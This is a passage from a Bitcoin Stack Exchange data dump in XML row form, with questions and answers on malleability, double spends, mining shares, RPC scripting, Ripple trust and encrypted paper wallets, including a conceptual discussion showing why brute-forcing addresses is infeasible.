  <row Id="34058" PostTypeId="2" ParentId="34009" CreationDate="2014-12-15T15:48:48.250" Score="4" Body="&lt;p&gt;If the signature was not part of the transaction protected by the hash, then you could have two different transactions, one valid and one invalid, with the same transaction ID. The primary purpose of the transaction ID is to permit agreement on whether a transaction is valid or not. So excluding the signatures from the hash would make transaction IDs unsuitable for their primary purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One proposal for dealing with malleability attacks it to have a second transaction ID just for the purpose of defeating such attacks. This transaction ID wouldn't cover the signatures. But it wouldn't be suitable for checking transaction validity, forcing a system in which there are two types of transaction identifiers.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-12-15T15:48:48.250" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34060" PostTypeId="1" AcceptedAnswerId="34061" CreationDate="2014-12-15T19:02:50.390" Score="1" ViewCount="548" Body="&lt;p&gt;What happens if the 'High' risk option (one confirmation) was chosen and then the TX turns out to be a double spend in the end? Would the value deposited be revoked? Would the user be notified somehow?&lt;/p&gt;&#xA;" OwnerUserId="21036" LastEditorUserId="5406" LastEditDate="2014-12-15T20:21:05.003" LastActivityDate="2014-12-16T21:22:20.103" Title="What happens if a TX was a double spend?" Tags="|confirmations|doublespend|bitpay|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34061" PostTypeId="2" ParentId="34060" CreationDate="2014-12-15T20:56:00.540" Score="0" Body="&lt;p&gt;The order will never be confirmed, and depending on what wallet your using, it should be reflected as never having been confirmed and won't show up in your balance. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-12-15T20:56:00.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34062" PostTypeId="2" ParentId="18461" CreationDate="2014-12-15T21:20:24.777" Score="4" Body="&lt;p&gt;The best sources that I found for free:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/index.html&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-documentation&quot; rel=&quot;nofollow&quot;&gt;Developer Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I didn't check this out &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1500176826&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Programming by Mostafa Farghaly&lt;/a&gt;&#xA;but looks like a good wisdom source.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="83779" LastEditDate="2014-12-15T22:35:43.660" LastActivityDate="2014-12-15T22:35:43.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34063" PostTypeId="1" CreationDate="2014-12-15T21:23:03.907" Score="2" ViewCount="199" Body="&lt;p&gt;Are they preset to only return difficulty 1 shares when the find a nonce?  Then mining software verifies if it meets current target difficulty?  Or, if given a different target difficulty, will the ASIC only return shares that meet that difficulty setting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is hardware specific, any idea which chips allow variation in the target difficulty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question in part stems from some misunderstandings I have seen on questions of what a share is.  Whether it is always a nonce found for difficulty 1, or if it is a nonce found for the target difficulty sent to the miner.  There are some confusing answers out there.&lt;/p&gt;&#xA;" OwnerUserId="21538" LastEditorUserId="5406" LastEditDate="2016-02-08T13:01:39.973" LastActivityDate="2016-02-08T13:01:39.973" Title="When ASICs generate a share, is it always at difficulty 1?" Tags="|asic|difficulty|nonce|mining-pool-shares|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34064" PostTypeId="1" AcceptedAnswerId="34067" CreationDate="2014-12-15T21:44:04.560" Score="0" ViewCount="1192" Body="&lt;p&gt;Yes, I can generate a new address through the bitcoin-qt command console, but how might I run a for loop to generate 100 different addresses? What kind of file does the bitcoin client take?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I run a python script through the bitcoin command console?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly does sending multiple commands to a command prompt work?&lt;/p&gt;&#xA;" OwnerUserId="21539" LastEditorDisplayName="user11221" LastEditDate="2014-12-15T23:37:17.447" LastActivityDate="2014-12-17T07:31:32.690" Title="How to run multiple bitcoin RPC commands through the command window?" Tags="|bitcoin-core|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34065" PostTypeId="1" CreationDate="2014-12-15T23:13:42.803" Score="3" ViewCount="185" Body="&lt;p&gt;I was looking at Blockchain.info's tx volume (in BTC) over the previous year. It goes from about 100k to 400k BTC per day with a peak of over 850k BTC around November.&#xA;&lt;a href=&quot;https://blockchain.info/charts/my-wallet-transaction-volume&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/my-wallet-transaction-volume&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you look at their graph of the total bitcoin network tx volume over a similar time perdiod, it goes from 100k to 300k without similar peaks.&#xA;&lt;a href=&quot;https://blockchain.info/charts/estimated-transaction-volume&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/estimated-transaction-volume&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it seem like they are doing more volume than the entire network.  Is this is a bug, or are they counting something differently (like maybe a send between two wallets is counted twice)?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21540" LastActivityDate="2014-12-15T23:26:27.807" Title="Why does Blockchain.info's My Wallet tx volume seem to exceed to total bitcoin network volume?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34066" PostTypeId="2" ParentId="34065" CreationDate="2014-12-15T23:26:27.807" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://blockchain.info/charts/estimated-transaction-volume&quot; rel=&quot;nofollow&quot;&gt;estimated transaction volume chart&lt;/a&gt; is processed in a way that it removes any change and send-to-self values inside a transaction from its total value. If you want to see the raw chart then you should be looking at the &lt;a href=&quot;https://blockchain.info/charts/output-volume&quot; rel=&quot;nofollow&quot;&gt;output volume chart&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-12-15T23:26:27.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34067" PostTypeId="2" ParentId="34064" CreationDate="2014-12-15T23:36:52.350" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, I can generate a new address through the bitcoin-qt command console, but how might I run a for loop to generate 100 different addresses? What kind of file does the bitcoin client take?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't. It only accepts specific API commands as described &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; or by calling the &lt;code&gt;help&lt;/code&gt; command in that dialog.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I run a python script through the bitcoin command console?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If by the &quot;bitcoin command console&quot; you refer to &lt;code&gt;QT&lt;/code&gt;'s dialog then no, you can't. You can run a script from your console, though, if you have Python installed in your system or go for a more elegant approach a use a proper &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#Python&quot; rel=&quot;nofollow&quot;&gt;RPC API wrapper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How exactly does sending multiple commands to a command prompt work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It has already been answer above.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-12-15T23:36:52.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34068" PostTypeId="2" ParentId="18461" CreationDate="2014-12-16T05:45:34.983" Score="1" Body="&lt;p&gt;I find this wonderful software a very interesting style of programming bitcoin and you can consider it as a book with this title &quot;Asynchronous C++ Bitcoin programming&quot;. The name of the software is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;libbitcoin - Asynchronous C++ Bitcoin library&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly it used the famous boost library ASIO. It provides developers with an asynchronous I/O model using a modern C++ approach. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The libbitcoin library took advantage of the algorithmic aspect of recent C++ 11/14 (lambdas heavily used in the coding, also an understanding of the new introduced pointers, variadic functions, bind function, promise &amp;amp; future is a must). &lt;/p&gt;&#xA;" OwnerUserId="18637" LastEditorUserId="18637" LastEditDate="2014-12-16T06:04:15.033" LastActivityDate="2014-12-16T06:04:15.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34069" PostTypeId="2" ParentId="34047" CreationDate="2014-12-16T09:28:15.937" Score="1" Body="&lt;p&gt;I haven't found any similar option in &lt;a href=&quot;https://www.coinbase.com/merchants&quot; rel=&quot;nofollow&quot;&gt;Merchant Profile&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you live in USA maybe &lt;a href=&quot;https://www.circle.com/en&quot; rel=&quot;nofollow&quot;&gt;Circle&lt;/a&gt; will help you.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="83779" LastEditDate="2014-12-17T08:45:42.977" LastActivityDate="2014-12-17T08:45:42.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34070" PostTypeId="1" CreationDate="2014-12-16T15:20:57.953" Score="1" ViewCount="144" Body="&lt;p&gt;Since receiving multiple payments using the same address isn't safe, is there a way to get BitPay to settle the balance using a new address each time? It wouldn't be feasible for the user to log in and submit the new address manually every time. Is there a secure API for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="21036" LastEditorUserId="5406" LastEditDate="2017-06-20T05:28:05.040" LastActivityDate="2017-06-20T05:28:05.040" Title="How to get BitPay to process each settlement using a new address?" Tags="|bitpay|address-reuse|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34071" PostTypeId="1" CreationDate="2014-12-16T16:36:56.567" Score="0" ViewCount="1142" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://www.asus.com/us/Graphics_Cards/R9270XDC2T2GD5/&quot; rel=&quot;nofollow&quot;&gt;Asus R9270X-DC2T-2GD5&lt;/a&gt; for mining and the temps remain stable at 68C or below even with 99% GPU load for hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stock cooling with my Cooler Master CM 690 II case with positive air flow. I can move the case to a more ventilated area or just take of the side panel for greater airflow.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are the ideal config params for this specific card?&lt;/li&gt;&#xA;&lt;li&gt;Do the temperature readings look Ok?&lt;/li&gt;&#xA;&lt;li&gt;Do I need to do anything more in terms of cooling or tuning the card (its already factory overclocked)?&lt;/li&gt;&#xA;&lt;li&gt;Is mining going to make the card fail early? If so, any idea how early? I'm OK if this cards lasts 2-3 years as opposed to 4-5 years.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21545" LastEditorUserId="5406" LastEditDate="2016-03-17T14:24:27.367" LastActivityDate="2016-03-17T14:24:27.367" Title="Asus R9 270x mining 24/7 setup" Tags="|mining-hardware|gpu-mining|mining-setup|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34072" PostTypeId="2" ParentId="34060" CreationDate="2014-12-16T17:28:06.567" Score="0" Body="&lt;p&gt;With one block confirmation, problems can occur when there is a blockchain fork. Say if two miners simultaneously mined a blocks B1 and B2. Network gets split into two groups Group 1 (using Block B1) and Group 2 (using Block B2). If the next block gets mined by Group 1, then Block 2 gets rejected and vice versa. So, here comes a chance for the double spent transaction. If same transaction was spent in Blocks B1 and B2, but sent to 2 different outputs, only one will get confirmed finally. As a merchant, if you happen to accept B2 and B1 gets confirmed, you will be at risk. Waiting for 6 confirmations, reduces the risk to 0 (almost).&lt;/p&gt;&#xA;" OwnerUserId="1478" LastActivityDate="2014-12-16T17:28:06.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34073" PostTypeId="2" ParentId="34060" CreationDate="2014-12-16T17:56:35.213" Score="2" Body="&lt;p&gt;The appearance of a double-spend on the network throws the status of the earlier payment into doubt.  The doubt is only resolved when one of the payments is confirmed.  As always, the more confirmations, the more certainty that the payment will be permanent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipient of the payment that was double-spent is NOT notified very quickly.  The bitcoin network itself tries not to propagate double-spends.  Therefore, the earliest that recipient reliably learns of the problem is when the double-spend is actually confirmed in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even then, most wallets are not very vocal about notification.  This is an area where bitcoin could improve.  A bitcoin core &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4570&quot; rel=&quot;nofollow&quot;&gt;improvement&lt;/a&gt; request initiated by Gavin Andresen does exist.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastEditorUserId="21546" LastEditDate="2014-12-16T21:22:20.103" LastActivityDate="2014-12-16T21:22:20.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34077" PostTypeId="1" CreationDate="2014-12-17T00:22:03.373" Score="-1" ViewCount="196" Body="&lt;p&gt;I'm trying to use the Blocktrail API to look at the oldest Bitcoin addresses to create a info graph piece - besides looking at historical transactions, what else would be good for me to analyze?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;\\ to be specific, what could I use analytics for with Bitcoin&#xA;- besides looking at addresses&lt;/p&gt;&#xA;" OwnerUserId="21394" LastEditorUserId="21394" LastEditDate="2014-12-17T19:44:27.947" LastActivityDate="2014-12-17T21:44:16.920" Title="Help me understand Bitcoin analytics" Tags="|blockchain|api|" AnswerCount="1" CommentCount="2" ClosedDate="2015-01-09T23:19:34.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="34078" PostTypeId="1" AcceptedAnswerId="34079" CreationDate="2014-12-17T03:25:06.353" Score="1" ViewCount="5525" Body="&lt;p&gt;I'm doing some bitcoin address collections. If there are some meaningful letters in the address or if the address is created in a meaningful time to me, I will buy it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know when the address is created?&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="2306" LastEditDate="2014-12-17T03:35:03.213" LastActivityDate="2014-12-17T03:35:03.213" Title="Is there a way to figure out when an address is created?" Tags="|address|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34079" PostTypeId="2" ParentId="34078" CreationDate="2014-12-17T03:31:49.670" Score="4" Body="&lt;p&gt;Addresses are not created, &lt;em&gt;per se&lt;/em&gt;. They're simply a representation of a public key. So, you cannot know when an address is &quot;created.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is possible to know the first time an address is &lt;em&gt;used&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-17T03:31:49.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34080" PostTypeId="1" AcceptedAnswerId="34082" CreationDate="2014-12-17T03:38:39.520" Score="4" ViewCount="655" Body="&lt;p&gt;Imagine an attacker implementing something like the following pseudocode on the fastest ASIC farm money can buy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;attack(blockchain, my_address)&#xA;    addresses = generate_tree_of_all_nonempty_addresses(blockchain)&#xA;    while true:&#xA;        private_key = generate_random_private_key()&#xA;        public_key = generate_public_key(private_key)&#xA;        address = ripemd160(sha256(public_key))&#xA;        if is_matched(address, addresses):&#xA;            steal_bitcoins(private_key, public_key, address, my_address)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given that RIPEMD-160 reduces addresses to a size of 160 bits (in binary form), and that there are (IIRC) over a million non-empty addresses out there, does it really still take an impractically long time to find collisions? I should be able to do the math myself, but I know some of you are better at that kind of thing than I am...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to put that another way, is it possible that the decision to hash public keys the way bitcoin does, might in the future turn out to be unwise given the heightened risk of collisions compared to simply using the full ECDSA public key length?&lt;/p&gt;&#xA;" OwnerUserId="19556" LastActivityDate="2014-12-17T05:51:44.063" Title="How safe is bitcoin with regard to a random address generation attack?" Tags="|address|hash|public-key|attack|random|" AnswerCount="2" CommentCount="2" ClosedDate="2015-07-05T18:16:55.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="34081" PostTypeId="2" ParentId="34080" CreationDate="2014-12-17T04:08:35.993" Score="4" Body="&lt;p&gt;This question has received some great quotes by David Schwartz and others at: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24268.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=24268.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The total address space is 2^160&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To put that in perspective, there are only 2^63 grains of sand on all&#xA;  of the beaches of the Earth&#xA;  (&lt;a href=&quot;http://www.hawaii.edu/suremath/jsand.html&quot; rel=&quot;nofollow&quot;&gt;http://www.hawaii.edu/suremath/jsand.html&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are just under 2^256 private keys, just under 2^256 public keys,&#xA;  and 2^160 addresses. There are some addresses that have more than one&#xA;  corresponding public key and thus more than one corresponding private&#xA;  key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The most sensible way to attempt the attack (which is still insane) is to generate random private keys, calculate the corresponding addresses, and then see if that address has a non-zero balance. I believe there are 2^160 possible addresses. So even if there are 1,000,000,000 addresses with non-zero balances, your odds of getting a non-zero balance on a single key are 1 in 2^128.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So brute-forcing a single bitcoin address with a non-zero balance&#xA;  (assuming there are a billion of them, which is generous), is as hard&#xA;  as, say, brute-forcing a given 128-bit AES key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With an average of 300,000,000 bitcoin addresses being consumed (used once only) every day the 2^160 address space is going to serve its purpose for say another 2^131 days. The memory of us will forever live inside what will then be called the &lt;code&gt;ancient blockchain&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-12-17T04:20:16.383" LastActivityDate="2014-12-17T04:20:16.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34082" PostTypeId="2" ParentId="34080" CreationDate="2014-12-17T05:51:44.063" Score="6" Body="&lt;p&gt;Ok, I'm spoiling the fun of you working it out yourself, but I had too much fun working it out myself to not post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to have as many target addresses as possible, let's suppose every satoshi that will ever exist (21e6 * 100e6 = 2.1e15 or 2.1 quadrillion) were in a different address.  And let's suppose someone developed an ASIC that, at the same rate as today's ASICs compute SHA256D, could generate a private key, compute the corresponding public key and address, and check it against all 2.1 quadrillion of those targets.  (This is absurd - generating an ECDSA public key is many orders of magnitude more complex than an SHA256 hash.)  Suppose they deployed this ASIC on the same scale as today's entire Bitcoin mining network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Bitcoin difficulty is about 4e10, meaning the network as a whole is computing 4e10 * 2^32 = 1.7e20 hashes per second.  So let's say our imaginary attacker's network is generating 1.7e20 private keys per second.  Each private key has a probability of 2.1e15 / 2^160 = 1.4e-33 of matching one of the target addresses.  So the attacker finds a match at a rate of 1.7e20 * 1.4e-33 = 2.4e-13 per second.  On average, it takes 1/2.4e-13 = 4.0e12 seconds, or roughly 130,000 years, to find one match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this highly dedicated attacker, who is spending millions (if not billions) of dollars on ASICs and electricity, will be able to steal an average of one satoshi every 130,000 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One really has to come to terms with how mind-bogglingly fast an exponential function grows.  160 bits seems like a very small amount of data, but 2^160 is an incredibly huge number.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-12-17T05:51:44.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34083" PostTypeId="2" ParentId="34064" CreationDate="2014-12-17T07:31:32.690" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How exactly does sending multiple commands to a command prompt work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you asking about &lt;a href=&quot;http://en.wikipedia.org/wiki/Shell_script&quot; rel=&quot;nofollow&quot;&gt;shell scripting&lt;/a&gt; in general? If you know how to send one command through the Bitcoin command-line interface, performing multiple commands is just writing a script to do it multiple times - in this case you can't do it at the application level.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I run a python script&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, use &lt;a href=&quot;https://pypi.python.org/pypi/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinlib&lt;/a&gt;, which is now maintained by Peter Todd, and is available by pip.&lt;/p&gt;&#xA;" OwnerUserId="21408" LastActivityDate="2014-12-17T07:31:32.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34084" PostTypeId="1" CreationDate="2014-12-17T09:37:34.473" Score="1" ViewCount="405" Body="&lt;p&gt;I follow the procedure of making a cold storage wallet: downloaded copy of bitaddress.org using an off-line computer booted with Ubuntu from CD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of printing out the private keys and corresponding addresses for my bitcoin, I simply use a JavaScript file (&lt;a href=&quot;http://prgomez.com/ursa/&quot; rel=&quot;nofollow&quot;&gt;http://prgomez.com/ursa/&lt;/a&gt;) to encrypt the private key, while I am using Ubuntu. I then keep together the address and encrypted bitcoin private key safely so I don’t lose it, but with no need for special security. All I need to keep in paper is my 80 bit plus password for the encryption of the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically, this seems to me safe, though I have so far only entrusted small sums of money to this procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe?&lt;/p&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2014-12-17T15:40:36.887" Title="Encrypting Bitcoin private keys instead of printing out paper" Tags="|security|encryption|coldstorage|bitaddress.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34085" PostTypeId="1" CreationDate="2014-12-17T10:26:09.480" Score="1" ViewCount="432" Body="&lt;p&gt;I am struggling with some concepts in the Ripple system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After an American user goes to  a gateway and loads $ into the Ripple system that he wants to send to Cambodia, the money will be sent through the Ripple Network by modifying the accounts of ripple users between the sender and the receiver of the money. At the point it reaches the Cambodian, if he wants to access the real world fiat money, he will go to another Gateway and redeem the money so long as they have a store of $. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions that I have are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do individuals set who they 'trust' to ensure that accounts remain active and the flow of debts remains valid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the system respond if a user goes bankrupt and becomes unable to pay any debts that he has? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens in the situation where there is no line between the sender and the receiver of money or where there is no Gateway that the receiver can use to redeem money?&lt;/p&gt;&#xA;" OwnerUserId="21557" LastActivityDate="2014-12-17T18:48:06.963" Title="How does Ripple ensure that transactions take place" Tags="|security|ripple|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34086" PostTypeId="2" ParentId="34085" CreationDate="2014-12-17T12:50:10.240" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do individuals set who they 'trust'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure what this means; each individual decides on his own who to trust. For example, I already (in a general sense) trust Bitstamp if I have USD or BTC deposits with them. Ripple just allows you to make this trust explicit in an open ledger. The meaning of this trust is, if I specify a trust level of $100, that the system will allow me to hold up to $100 of Bitstamp IOUs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does the system respond if a user goes bankrupt&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The system doesn't respond at all, as it merely keeps track of the IOU amounts - it does not, and cannot, enforce these claims. If one is willing to hold the IOU, it's probably because they believe it represents a claim that's enforceable in a court of law.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens in the situation where there is no line between the sender and the receiver of money&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where there is no trust line, a transfer is not possible at all. If finding a trust path is difficult, one option is for them to offer liquidity in XRP - the only Ripple asset without counterparty risk. Then anyone who, on his own end, has path access to XRP will be able to send funds - the XRP acts as the 'trustless' bridge or vehicle currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is the role played by bitcoin in many situations today; for example bitcoin &lt;a href=&quot;http://www.coindesk.com/bitspark-hong-kong-remittance/&quot; rel=&quot;nofollow&quot;&gt;is used&lt;/a&gt; as a vehicle currency &lt;a href=&quot;https://www.bitpesa.co/&quot; rel=&quot;nofollow&quot;&gt;in various&lt;/a&gt; remittance models, and is able to offer advantages precisely because of its low trust requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, XRP and BTC will compete for liquidity; whoever has the higher liquidity will have the lower costs.&lt;/p&gt;&#xA;" OwnerUserId="21408" LastActivityDate="2014-12-17T12:50:10.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34087" PostTypeId="2" ParentId="34084" CreationDate="2014-12-17T15:40:36.887" Score="2" Body="&lt;p&gt;It's challenging to answer this without a clear definition of what you mean by &quot;safe.&quot; I'll assume your two main concerns are (A) loss by theft; and (B) loss by user error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For (A) you're &quot;safe.&quot; You followed offline cold storage wallet generation procedure and your private key was not exposed in an online-hackable way. You have the same level of theft protection as an offline-generated paper wallet -- with the added level of protection that your private key is encrypted. If your paper is lost or stolen, another party would have to know your method of encryption as well as your password. (Naturally, if your password is stored on the paper, then you effectively have the same security as a non-encrypted wallet in the case of theft or loss of the physical paper.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For (B) there are a number of possibilities, but here's some scenarios to consider.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you entering the unencrypted or the encrypted private key into bitaddress.org? If the latter, then you gain no benefit from the encryption and might be confused when attempting to retrieve your funds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How confident are you that you'll be able to recover the unencrypted private key when the need arises? Your use of a home-brewed step here makes it a good candidate for something to go wrong. Are you prepared to keep a working copy of the encryption/decryption software -- exactly as it was used at the time of wallet creation -- for the entire lifetime of the paper wallet? Did you test decryption at the time you generated the wallet to ensure the decrypted private key matches the original unencrypted key? Have you tested retrieving funds to ensure that your process works from end-to-end? Are you going to remember all the steps involved 10 years from now or do you need to keep written notes?  Etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same with any password-protected item, how confident are you that you'll be able to remember the password when the time comes? People forget passwords so often that nearly every website with password-based authentication includes a recovery mechanism. Are you printing the password along with the paper wallet? If so, then what is the purpose of the encryption? Are you printing the password and keeping it elsewhere? If so, then will you be able to find it when the time comes? (How many times have you put something where you'll &quot;never forget where it is&quot; only to discover you can't find it later?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same with any paper wallet, how safe is yours from physical loss, disaster, etc.? Are you planning to keep a backup copy? How do the backup copies affect your risk of theft? How long will the paper and ink last?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Have a look into &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0038.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0038&lt;/a&gt;. bitaddress.org can generate BIP0038-encrypted private keys. Three benefits of this are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;BIP0038 uses &lt;a href=&quot;http://en.wikipedia.org/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;scrypt&lt;/a&gt; with parameters intentionally tuned to make brute-force password guessing attacks very slow. In &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1q5wu7/this_paper_wallet_contains_01125_btc_and_is_bip/&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; folks were getting 7 password guesses per second at the time, which is not very many for a brute-force 